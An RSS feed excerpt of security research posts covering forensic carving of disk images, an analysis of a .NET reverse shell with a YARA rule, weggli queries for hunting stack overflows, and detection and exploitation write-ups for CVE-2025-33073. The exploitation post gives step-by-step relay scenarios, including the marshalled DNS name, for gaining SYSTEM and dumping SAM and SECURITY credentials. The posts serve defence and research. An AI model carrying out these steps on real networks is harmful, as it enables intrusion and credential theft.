		<guid isPermaLink="false">http://localhost:8080/%d0%b4%d0%bb%d1%8f-%d0%bf%d0%be%d0%b8%d1%81%d0%ba%d0%b0-%d0%be%d1%81%d1%82%d0%b0%d1%82%d0%be%d1%87%d0%bd%d1%8b%d1%85-%d0%b4%d0%b0%d0%bd%d0%bd%d1%8b%d1%85-%d1%82%d0%b0%d0%b1%d0%bb%d0%b8%d1%86%d1%8b/</guid>

					<description><![CDATA[He may not, as unvalued persons do, Carve for himself (W. Shakespeare) When investigating an infrastructure that has been subjected to encryption, there is regularly a need to extract data from disk images where the file system is significa…]]></description>
										<content:encoded><![CDATA[<blockquote><p>He may not, as unvalued persons do, Carve for himself (W. Shakespeare)</p></blockquote>
<p><em><br />
</em><br />
When investigating an infrastructure that has been subjected to encryption, there is regularly a need to extract data from disk images where the file system is significantly damaged.</p>
<p>In such cases, it is far from always possible to extract <code>MFT</code> data, OS logs, or user artifacts in a state suitable for processing by classical tools. This gives rise to the need to employ carving — the recovery or reconstruction of damaged files. In a number of cases, available commercial tools that implement this technique produce decent results, but on the whole they have a fairly limited scope of application.</p>
<p>In the case of carving Windows OS event log events, the &#8220;forget about BinXML&#8221; technique has proven itself well: full decoding of the content of the fields of a single event requires templates stored in the chunk header, which for understandable reasons may simply be absent. Without even attempting to search for such templates, it is possible to compose a textual description of a single event in which dates stored in standard locations, event codes, and several other service fields are unambiguously identified, as well as byte sequences containing data for substitution into templates, decoded &#8220;as text&#8221; (with service <code>BinXML</code> sequences stripped out).</p>
<p>As a result, this technique makes it possible to obtain substantially more data than when attempting to recover <code>EVTX</code> chunks: having the date, the <code>EventID</code> event code, and the log type stored as text, one can understand what is being referred to (<em>screenshot 1</em>).</p>
<p>A similar approach can also be applied to &#8220;live&#8221; systems where attackers have attempted to delete data in order to conceal traces of their movements.</p>
<p>🔎 <strong>To search for residual data of the </strong><code>MFT</code> table, in addition to recovering individual records of the standard format, in a number of cases the technique of searching for individual attributes works well: as a rule, attributes of type <code>0x30</code>, that is, <code>$FILE_NAME</code>, are of value, containing four timestamps, the file name, and its size (<em>screenshot 2</em>). In certain cases, such individual attributes even for a &#8220;live&#8221; system make it possible to discover, for example, in the paging file (<code>pagefile.sys</code>), traces of the presence of malicious files that are absent from other artifacts. Such results can also be obtained by searching for USN records containing one timestamp and the name of a file with which some FS operations were performed (<em>screenshot 3</em>).</p>
<p>💽 <strong>To search for executable files in a disk image</strong>, the tactic of searching for the <code>PE</code> header with subsequent estimation of the file size from the combined size of the sections works well. With a slight complication of the algorithm, it is possible to implement a more precise approach: determining the entropy of the final fragments of the file with a successive reduction of the fragment size until an empirically determined threshold value is crossed &#8220;from the bottom up,&#8221; while observing padding, in a number of cases makes it possible to obtain executable files that match by hash. However, even &#8220;roughly hewn&#8221; executable files of malware or their fragments are perfectly detected using YARA rules (<em>screenshots 4, 5)</em>.</p>
<p>📁 <strong>To recover registry files</strong>, it is possible to use a search by header with determination of the file size from the <code>HiveBinsDataSize</code> field: this approximation in a number of cases makes it possible to obtain a set of files suitable for processing by classical tools. A characteristic feature in this case is the presence in the header of the modification date and the file type (<code>primary/log</code>), as well as the file name in <code>UTF-16</code> with a size of <code>64 bytes</code>. Despite the fact that for some files potentially interesting from a forensics standpoint (<code>UsrClass.dat</code>), the path structure does not allow determining the original location of the file with sufficient accuracy, in most cases the available information is quite sufficient.</p>
<p>Finally, the technique of searching a disk image for readable text fragments associated with identified attacker tooling has proven itself excellently: in a number of cases it makes it possible to recover command lines and logs of the tools used, including passwords, account names, and similar &#8220;pleasant little things&#8221; (<em>screenshot 6</em>).</p>
<figure class="wp-block-image"><img decoding="async" width="1024" height="917" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_439@03-12-2025_14-57-53-1024x917.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<figure class="wp-block-image"><img decoding="async" width="816" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_440@03-12-2025_14-57-53-816x1024.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<figure class="wp-block-image"><img decoding="async" width="816" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_441@03-12-2025_14-57-53-816x1024.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<figure class="wp-block-image"><img decoding="async" width="1024" height="336" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_442@03-12-2025_14-57-53-1024x336.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<figure class="wp-block-image"><img decoding="async" width="1024" height="810" src="https://ptesc.tech/wp-content/uploads/2025/12/photo_443@03-12-2025_14-57-53-1024x810.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<p><span class="hashtag">#yara</span> <span class="hashtag">#dfir</span> <span class="hashtag">#ir</span> <span class="hashtag">#windows</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>New connection to old techniques</title>
		<link>https://ptesc.tech/en/new-connection-to-old-techniques/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Wed, 26 Nov 2025 14:04:40 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[win]]></category>
		<category><![CDATA[yara]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bd%d0%be%d0%b2%d0%be%d0%b5-%d0%bf%d0%be%d0%b4%d0%ba%d0%bb%d1%8e%d1%87%d0%b5%d0%bd%d0%b8%d0%b5-%d0%ba-%d1%81%d1%82%d0%b0%d1%80%d1%8b%d0%bc-%d1%82%d0%b5%d1%85%d0%bd%d0%b8%d0%ba%d0%b0%d0%bc/</guid>

					<description><![CDATA[A New Connection to Old Techniques 📡 During incident investigations, the PT ESC IR team discovered a reverse shell developed in .NET and observed since 2023. It was used by the attackers to control compromised hosts. The malware creates a c…]]></description>
										<content:encoded><![CDATA[<strong>A New Connection to Old Techniques</strong> 📡<br />
<br />
During incident investigations, the PT ESC IR team discovered a reverse shell developed in .NET and observed since 2023. It was used by the attackers to control compromised hosts. The malware creates a <code>cmd.exe</code> process and redirects the input/output stream to a control server, which, as a rule, was one of the hosts in the internal infrastructure. A secure TCP client technique with SSL/TLS was used for the secure network connection.<br />
<br />
❕ The distinctive feature of this tool is that it is implemented using the <code>System.Windows.Data</code> component from the Windows Presentation Framework. The technique itself is not new — code execution primitives using <code>System.Windows.Data</code> are actively used in vulnerability exploitation. Let us examine its implementation in more detail.<br />
<br />
The <code>Main</code> function (<em>screenshot 1</em>) demonstrates the technique of direct execution via <code>ObjectDataProvider</code> from the <code>System.Windows.Data</code> namespace. Despite the absence of an explicit method call, when the <code>ObjectInstance</code>, <code>MethodParameters</code>, and finally <code>MethodName</code> properties are configured sequentially, the object automatically initiates execution of the specified method (<code>Connect.Start</code>) — directly during its initialization in the <code>Main</code> method. The use of the <code>ExpandedWrapper&lt;Connect, ObjectDataProvider&gt;</code> wrapper indicates borrowing of a pattern from known gadget chains for deserialization, although in this case exploitation occurs directly, without a serialization stage.<br />
<br />
The <code>Connect.Start</code> method (<em>screenshot 2</em>) launches the system command shell (<code>cmd.exe</code>) as a child process, asynchronously intercepts its output via the <code>P_OutputDataReceived</code> handler, and redirects the data back to the C2 server, while simultaneously using a custom delegate (<code>Delegate.Combine</code>) for dynamic binding with the <code>Px</code> component responsible for network transmission of commands and results. This architecture allows the attacker to execute arbitrary commands in the context of <code>cmd.exe</code> on the infected machine, while keeping the interaction based on legitimate .NET APIs.<br />
<br />
The <code>Net.Run</code> method (<em>screenshot 3</em>) implements the network C2 logic, establishing an encrypted connection to a remote server via <code>TcpClient</code> and <code>SslStream</code> with forced use of TLS 1.2; the IP address and port are taken from encrypted configuration data (<em>screenshot 4</em>) and decrypted on the fly using AES256 in <code>CBC/NoPadding</code> mode, with PBKDF2 (RFC 2898) used to generate the key, taking as input a string value of the password and salt (<em>screenshot 5</em>).<br />
<br />
<strong>To decrypt the configuration data, you can use the following CyberChef recipes:</strong><br />
<br />
1. <a href="https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B&#039;option&#039;:&#039;Latin1&#039;,&#039;string&#039;:&#039;&#039;%7D,256,1000,&#039;SHA1&#039;,%7B&#039;option&#039;:&#039;Latin1&#039;,&#039;string&#039;:&#039;&#039;%7D)" rel="noopener" target="_blank">Key generation,</a> into which you must pass <code>App.PasswordHash</code> and <code>App.SaltKey</code>;<br />
<br />
2. <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#039;A-Za-z0-9%2B/%3D&#039;,true,false)AES_Decrypt(%7B&#039;option&#039;:&#039;Hex&#039;,&#039;string&#039;:&#039;&#039;%7D,%7B&#039;option&#039;:&#039;Latin1&#039;,&#039;string&#039;:&#039;&#039;%7D,&#039;CBC/NoPadding&#039;,&#039;Raw&#039;,&#039;Raw&#039;,%7B&#039;option&#039;:&#039;Hex&#039;,&#039;string&#039;:&#039;&#039;%7D,%7B&#039;option&#039;:&#039;Hex&#039;,&#039;string&#039;:&#039;&#039;%7D)" rel="noopener" target="_blank">Decryption algorithm.</a><br />
<br />
🗂 <strong>The malicious files were located in legitimate directories:
</strong><br />
<strong>• </strong>C:\Program Files\Internet Explorer\mshealthupdate.exe<br />
<br />
<strong>• </strong>C:\Program Files\Common Files\System\msadds.exe<br />
<br />
<strong>• </strong>C:\Program Files\Common Files\System\ado\msader.exe<br />
<br />
To establish persistence in the infrastructure and launch the executable files, the attackers used the Windows Task Scheduler.<br />
<br />
This tool is similar to the implementation of the well-known <code>ncat</code> utility. To invoke the malicious method, the legitimate <code>ObjectDataProvider</code> class from the <code>WPF</code> system library is used, delegates are used to dynamically attach handlers, leaving no clear call chain in the IL code. TLS 1.2 is used to encrypt the console output, and certificate errors are ignored (<code>ValidateServerCertificate =&gt; true</code>), which allows it to work with any C2, including dynamic IPs.<br />
<br />
<strong>YARA:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell">rule MSADDShell {
    strings:
        <span class="hljs-variable">$v1</span> = <span class="hljs-string">"net_handlerDelOutDataNet"</span>
        <span class="hljs-variable">$v2</span> = <span class="hljs-string">"P_OutputDataReceived"</span>
        <span class="hljs-variable">$v3</span> = <span class="hljs-string">"add_OutputDataReceived"</span>
        <span class="hljs-variable">$v4</span> = <span class="hljs-string">"SendDataFwd"</span>
        <span class="hljs-variable">$v5</span> = <span class="hljs-string">"OnhandlerDelFwfPx"</span>
        <span class="hljs-variable">$v6</span> = <span class="hljs-string">"OnhandlerDelOutDataNet"</span>
        <span class="hljs-variable">$v7</span> = <span class="hljs-string">"msadds.exe"</span> wide
    condition:
        uint16(<span class="hljs-number">0</span>) == <span class="hljs-number">0</span>x5A4D and <span class="hljs-number">5</span> of (<span class="hljs-variable">$v</span>*) and filesize &lt; <span class="hljs-number">100</span>KB
}</code></span></pre>

<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#IOC</span> <span class="hashtag">#yara</span> <span class="hashtag">#dfir</span> <span class="hashtag">#detect</span> <span class="hashtag">#win</span> <span class="hashtag">#ti</span> <span class="hashtag">#ir</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How to CVE-2025-54916? Low-effort vulnerability research</title>
		<link>https://ptesc.tech/en/how-to-cve-2025-54916-low-effort-vulnerability-research/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Mon, 15 Sep 2025 11:41:37 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/how-to-cve-2025-54916-low-effort-vulnerability-research/</guid>

					<description><![CDATA[How to CVE-2025-54916? Low-effort vulnerability research 💻 Hi, ESC-VR here. The Telegram post format is rarely suitable for analyzing complex vulnerabilities, but the bug we found in the depths of NTFS, fixed in the September patch, could b…]]></description>
										<content:encoded><![CDATA[<p><strong>How to CVE-2025-54916? Low-effort vulnerability research</strong> 💻</p>
<p>Hi, ESC-VR here.</p>
<p>The Telegram post format is rarely suitable for analyzing complex vulnerabilities, but the bug we found in the depths of NTFS, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54916" rel="noopener" target="_blank">fixed in the September patch</a>, could be found in a rather unusual way (<em>and we managed to fit the story into a post</em>).</p>
<p>If you are interested in vulnerability analysis, you have probably heard of CodeQL, SonarQube, Snyk, Semgrep — classic SAST systems. Their common drawback: most often you need full access to the source code. When that is not available, the value of such tools quickly drops to zero, and the complexity of queries makes them difficult to apply to decompiled listings or code fragments.</p>
<p>You need something simple, with an understandable query language and no requirement for a full codebase. Such a solution exists — it is <a href="https://github.com/weggli-rs/weggli" rel="noopener" target="_blank">weggli-rs</a>: an interactive, console utility for performing semantic search. It is suitable for searching through decompiled listings and partial codebases.</p>
<p>What do we mean by &#8220;partial codebases&#8221;? For example, the leaked Windows XP SP1 source code, <a href="https://www.zdnet.com/article/windows-xp-leak-confirmed-after-user-compiles-the-leaked-code-into-a-working-os/" rel="noopener" target="_blank">leaked</a> in 2020. Despite its age, it is an invaluable source of knowledge about the internals of modern Windows.</p>
<p>🎯 <strong>Our goal:</strong> find classic stack overflows via <code>memcpy</code>/<code>memmove</code> calls. We are looking for a function where:</p>
<p>• a buffer is declared on the stack;<br />
• there is a call to <code>memcpy</code>/<code>memmove</code>;<br />
• the address of this stack buffer is passed as the first argument.</p>
<p>This is enough to gather many candidates for stack buffer overflow (not all, but many). The query for weggli:</p>
<pre><code>weggli -R &quot;$func=RtlCopyMemory|memmove|memcpy&quot; &quot;_ $v; $func(&amp;$v,_,_)&quot;
</code></pre>
<p>Next, you need to narrow down the selection. For example, require that the size of the copied buffer is specified by an expression involving subtraction. This highlights places at risk of integer underflow:</p>
<pre><code>weggli.exe -R &quot;$func=RtlCopyMemory|memmove|memcpy&quot; &quot;_ $v; $func(&amp;$v,_,_(_-_))&quot;
</code></pre>
<p>The vulnerability fixed in September could be highlighted with this query:</p>
<pre><code>weggli -R &quot;$func=RtlCopyMemory|memmove|memcpy&quot; &quot;_ $v; $func(&amp;$v,_,_($a-&gt;$b))
</code></pre>
<p><strong>In this pattern, we are looking for all functions where:</strong></p>
<p>• a buffer is declared on the stack;<br />
• there is a call to <code>memcpy</code>/<code>memmove</code>;<br />
• the address of this stack buffer is passed as the first argument;<br />
• the size of the copied buffer is determined by a field of some structure.</p>
<p>In conclusion, we encourage you to try using weggli-rs and find the fixed vulnerability in the Windows XP SP1 source code.</p>
<p>HINT: <span class="spoiler">it seems you should look in base/fs, and the name of the vulnerable function had something to do with writing to a log or somewhere else</span> 😏</p>
<p>And if you want to learn how to trigger this vulnerability, check out <a href="https://swarm.ptsecurity.com/buried-in-the-log-exploiting-a-20-years-old-ntfs-vulnerability/" rel="noopener" target="_blank">our previous research</a>, published on the PT SWARM blog.</p>
<p><span class="hashtag">#escvr</span> <span class="hashtag">#cve</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Detecting CVE-2025-33073</title>
		<link>https://ptesc.tech/en/detection-of-cve-2025-33073/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Fri, 27 Jun 2025 17:40:56 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[rules]]></category>
		<category><![CDATA[sigma]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%b2-%d0%bf%d1%80%d0%be%d0%b4%d0%be%d0%bb%d0%b6%d0%b5%d0%bd%d0%b8%d0%b5/</guid>

					<description><![CDATA[Continuing previous publications, we explain how to detect the CVE-2025-33073 vulnerability 🕵️‍♂️ 1️⃣ Monitor DNS queries with a Marshalled suffix In Reflection Relay attacks, the attacker forces services to perform DNS queries to spoofed n…]]></description>
										<content:encoded><![CDATA[<p><strong>Continuing </strong><a href="https://t.me/ptescalator/389" rel="noopener" target="_blank">previous publications</a><strong>, we explain how to detect the CVE-2025-33073 vulnerability</strong> 🕵️‍♂️</p>
<p>1️⃣<strong> Monitor DNS queries with a Marshalled suffix</strong></p>
<p>In Reflection Relay attacks, the attacker forces services to perform DNS queries to spoofed names with the pattern <code>1UWhRCA</code> + 37–45 Base64 characters. Records like <code>srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.example.com</code> or <code>localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.example.com</code> are indicators of a Reflection Relay attempt (NTLM, Kerberos).</p>
<p><strong>• What to monitor</strong></p>
<p>All DNS queries where the hostname ends with the marshalled part (<code>1UWhRCA</code> + 37-45 Base64 characters).</p>
<p><strong>• Events</strong></p>
<p>Sysmon Event ID 22 (DNS queries on hosts).</p>
<p>DNS server events containing such queries.</p>
<p>2️⃣<strong> Catch LDAP searches with a marshalled suffix</strong></p>
<p>Reflection Relay triggers LDAP queries from the attacked host to the domain controller, in which the <code>name= </code>parameter contains a spoofed DNS name in the format <code>[hostname]1UWhRCA[Base64]</code>. This occurs when performing a Relay attack back onto the victim.</p>
<p><strong>• What to monitor:</strong></p>
<p>LDAP queries in which the <code>name=</code> parameter contains the construct: <br />
<code>&quot;[hostname]1UWhRCA[Base64 characters]&quot;</code></p>
<p><strong>• Events: </strong></p>
<p>Windows Security Event 1644 (&quot;A search was performed in Active Directory&quot;) on domain controllers.</p>
<p>3️⃣<strong> Know the mechanics of CVE-2025-33073 and Coerce attacks</strong></p>
<p><strong>How the vulnerability works:</strong></p>
<p>• Coerce attacks (PetitPotam, PrinterBug) force the victim to connect to a spoofed DNS name.<br />
• Windows mistakenly considers the request local due to the marshalled suffix, disabling NTLM and Kerberos checks.<br />
• This allows the attacker to relay the session back to the victim to gain RCE with SYSTEM privileges.</p>
<p><strong>Examples of Coerce attacks:</strong></p>
<p><strong>• PetitPotam:</strong> coercion via a vulnerability in EFS RPC, forcing LSASS to initiate authentication;<br />
<strong>• PrinterBug:</strong> forced sending of NTLM hashes via a vulnerability in the Windows print service (MS-RPRN).</p>
<p>4️⃣ <strong>Rely on examples of triggered correlation rules</strong></p>
<p>When implementing CVE-2025-33073 together with PetitPotam to dump credentials, the following correlation rules triggered:</p>
<p><strong>• Coerce_Auth: </strong>the rule detects Coerce attacks on a host aimed at intercepting the machine account hash of the attacked host, and also attempts to determine from the name of the pipe used which attack technique is being employed (netdfs = DFSCoerce; spoolss = PrinterBug; fssagentrpc = ShadowCoerce; efsrpc, lsarpc, samr, lsass, netlogon = PetitPotam; msftewds = WSPCoerce) and which tool is being used.</p>
<p><strong>• SVCCTL_Connection:</strong> the rule detects a connection to the named pipe <code>svcctl</code>, which is responsible for remote configuration of Windows services on hosts via the Service Control Manager, which can lead to arbitrary code execution;</p>
<p><strong>•</strong> <strong>Remote_Password_Dump:</strong> the rule detects a remote password dump via access to the named pipe <code>WINREG</code>.</p>
<p>5️⃣ <strong>Use examples of SIGMA rules</strong></p>
<p>If you don&#8217;t have MaxPatrol SIEM, here are some examples of simple SIGMA rules:</p>
<p><a href="https://telegra.ph/SIGMA-pravilo-dlya-Sysmon-Event-ID-22-06-27" rel="noopener" target="_blank">For Sysmon Event ID 22</a>.</p>
<p><a href="https://telegra.ph/SIGMA-pravilo-dlya-Windows-Security-Event-1644-06-27" rel="noopener" target="_blank">For Windows Security Event 1644</a>.</p>
<p>6️⃣ <strong>Use our public Suricata </strong><a href="https://rules.ptsecurity.com/view/rules/ptopen-windows.rules#L53" rel="noopener" target="_blank">signatures</a><strong> </strong>to detect this attack</p>
<figure class="wp-block-image"><img width="1024" height="783" src="https://ptesc.tech/wp-content/uploads/2025/06/photo_308@27-06-2025_17-40-56-1024x783.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/06/photo_308@27-06-2025_17-40-56-1024x783.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/06/photo_308@27-06-2025_17-40-56-300x229.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/06/photo_308@27-06-2025_17-40-56-768x587.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/06/photo_308@27-06-2025_17-40-56.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="730" src="https://ptesc.tech/wp-content/uploads/2025/06/photo_309@27-06-2025_17-40-56-1024x730.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/06/photo_309@27-06-2025_17-40-56-1024x730.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/06/photo_309@27-06-2025_17-40-56-300x214.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/06/photo_309@27-06-2025_17-40-56-768x548.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/06/photo_309@27-06-2025_17-40-56.jpg 1063w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#detect</span> <span class="hashtag">#cve</span> <span class="hashtag">#win</span> <span class="hashtag">#sigma</span> <span class="hashtag">#rules</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Exploitation of CVE-2025-33073</title>
		<link>https://ptesc.tech/en/exploitation-of-cve-2025-33073/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 24 Jun 2025 18:12:48 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[offensive]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d1%82%d0%b5%d0%bf%d0%b5%d1%80%d1%8c-%d0%bf%d1%80%d0%be-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d1%83%d0%b0%d1%82%d0%b0%d1%86%d0%b8%d1%8e/</guid>

					<description><![CDATA[🧤 Now about the exploitation of the vulnerability CVE-2025-33073: • A domain account with the most ordinary privileges. • SMB signing is not enforced on the targeted device. • The targeted device does not have the patch that fixes the CVE-2…]]></description>
										<content:encoded><![CDATA[<p>🧤 <strong>Now about the exploitation </strong><a href="https://t.me/ptescalator/389" rel="noopener" target="_blank">of the vulnerability</a><strong> CVE-2025-33073:</strong></p>
<p>• A domain account with the most ordinary privileges.<br />
• SMB signing is not enforced on the targeted device.<br />
• The targeted device does not have the patch that fixes the CVE-2025-33073 vulnerability, which was released in June 2025.</p>
<p>And additionally, one of the two:</p>
<p>• Either the ability to register a DNS record in the domain (by default, all domain users can do this).<br />
• Or being on the same broadcast network as the targeted device (conducting NBNS, LLMNR, and mDNS spoofing attacks).</p>
<p>Let&#8217;s look at two exploitation scenarios with dumping local credentials from <code>SAM</code> and <code>SECURITY</code>. </p>
<p>1️⃣ <strong>First scenario with a DNS record </strong><em>(</em><a href="https://sun9-63.userapi.com/s/v1/if2/FUPFSkgw31jScZIbAjTPBLP0Sqh4fyjiiC7fJ2uTJJn9J8l2TMVzqc2aPnaliociGexQCU3pXf0pClC8173EdThC.jpg?quality=95&#038;as=32x18,48x27,72x41,108x61,160x91,240x137,360x205,480x273,540x307,640x364,720x410,1080x615,1280x729,1440x820,2342x1333&#038;from=bu&#038;cs=2342x0" rel="noopener" target="_blank">screenshot 1</a><em>)</em>:</p>
<p>1. The attacker registers a DNS record in the format <code>localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA</code></p>
<p>2. The attacker performs a Coerce attack on the device without SMB Signing.</p>
<p>3. The device resolves the name via DNS, in which it receives the attacker&#8217;s IP address.</p>
<p>4. The device authenticates to the attacker&#8217;s server.</p>
<p>5. The attacker performs a Relay attack on the same device, obtains an authenticated session with SYSTEM privileges.</p>
<p>2️⃣ <strong>Second scenario with spoofing </strong><em>(</em><a href="https://sun9-32.userapi.com/s/v1/if2/sFNwiLpO-Nh0me85i7KSiunUhGl8dfGiqsGzTYuOq8sv_7bJVAOPloJWvHVtb47LxnTocvFx6EVeDMsdKeA7Xzcp.jpg?quality=95&#038;as=32x14,48x21,72x31,108x47,160x70,240x105,360x157,480x209,540x236,640x279,720x314,1080x471,1280x559,1440x628,2342x1022&#038;from=bu&#038;cs=2342x0" rel="noopener" target="_blank">screenshot 2</a><em>)</em><strong>:<br />
</strong><br />
1. The attacker launches spoofing with a response to the hostname <code>localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA</code></p>
<p>2. The attacker performs a Coerce attack on the device on the local network.</p>
<p>3. The device attempts to resolve the name via DNS, does not find it, and moves on to multicast protocols.</p>
<p>4. The attacker tells the device that the name belongs to them.</p>
<p>5. The device authenticates to the attacker&#8217;s server.</p>
<p>6. The attacker performs a Relay attack on the same device, obtains an authenticated session with SYSTEM privileges.</p>
<p>Instead of a conclusion, I would like to emphasize that this vulnerability was the result of many years of research by several specialists and, likely, could have been discovered and used by someone earlier. No one knows how many more such vulnerabilities will be discovered. But in this case, as in most others, by applying best security practices in advance, you can avoid serious consequences when such vulnerabilities appear, even without installing the update.</p>
<p> <strong>Recommendations for protection against the vulnerability:</strong></p>
<p><strong>•</strong> Install the <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073" rel="noopener" target="_blank">security updates</a> from June 10, 2025.</p>
<p><strong>•</strong> Configure <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing" rel="noopener" target="_blank">enforcement</a> of SMB signing for SMB services on controllers and workstations.</p>
<p>In the following posts, we&#8217;ll tell you how to detect the vulnerability 😉</p>
<figure class="wp-block-image"><img width="1024" height="447" src="https://ptesc.tech/wp-content/uploads/2025/06/photo_306@24-06-2025_18-12-48-1024x447.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/06/photo_306@24-06-2025_18-12-48-1024x447.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/06/photo_306@24-06-2025_18-12-48-300x131.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/06/photo_306@24-06-2025_18-12-48-768x335.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/06/photo_306@24-06-2025_18-12-48.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#cve</span> <span class="hashtag">#win</span> <span class="hashtag">#offensive</span><br />
